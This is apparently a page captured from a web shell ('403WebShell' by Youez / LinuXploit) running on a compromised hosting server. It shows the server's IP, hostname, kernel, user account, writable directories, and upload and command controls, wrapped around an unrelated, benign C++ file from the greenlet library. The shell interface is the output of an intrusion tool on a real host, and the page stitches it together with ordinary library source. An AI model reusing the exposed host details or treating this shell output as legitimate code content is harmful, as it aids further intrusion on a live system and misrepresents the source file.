Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.148.105.152
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib/python3.8/site-packages/greenlet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib/python3.8/site-packages/greenlet//TBrokenGreenlet.cpp
/* -*- indent-tabs-mode: nil; tab-width: 4; -*- */
/**
 * Implementation of greenlet::UserGreenlet.
 *
 * Format with:
 *  clang-format -i --style=file src/greenlet/greenlet.c
 *
 *
 * Fix missing braces with:
 *   clang-tidy src/greenlet/greenlet.c -fix -checks="readability-braces-around-statements"
*/

#include "TGreenlet.hpp"

namespace greenlet {

void* BrokenGreenlet::operator new(size_t UNUSED(count))
{
    return allocator.allocate(1);
}


void BrokenGreenlet::operator delete(void* ptr)
{
    return allocator.deallocate(static_cast<BrokenGreenlet*>(ptr),
                                1);
}

greenlet::PythonAllocator<greenlet::BrokenGreenlet> greenlet::BrokenGreenlet::allocator;

bool
BrokenGreenlet::force_slp_switch_error() const noexcept
{
    return this->_force_slp_switch_error;
}

UserGreenlet::switchstack_result_t BrokenGreenlet::g_switchstack(void)
{
  if (this->_force_switch_error) {
    return switchstack_result_t(-1);
  }
  return UserGreenlet::g_switchstack();
}

}; //namespace greenlet

Youez - 2016 - github.com/yon3zu
LinuXploit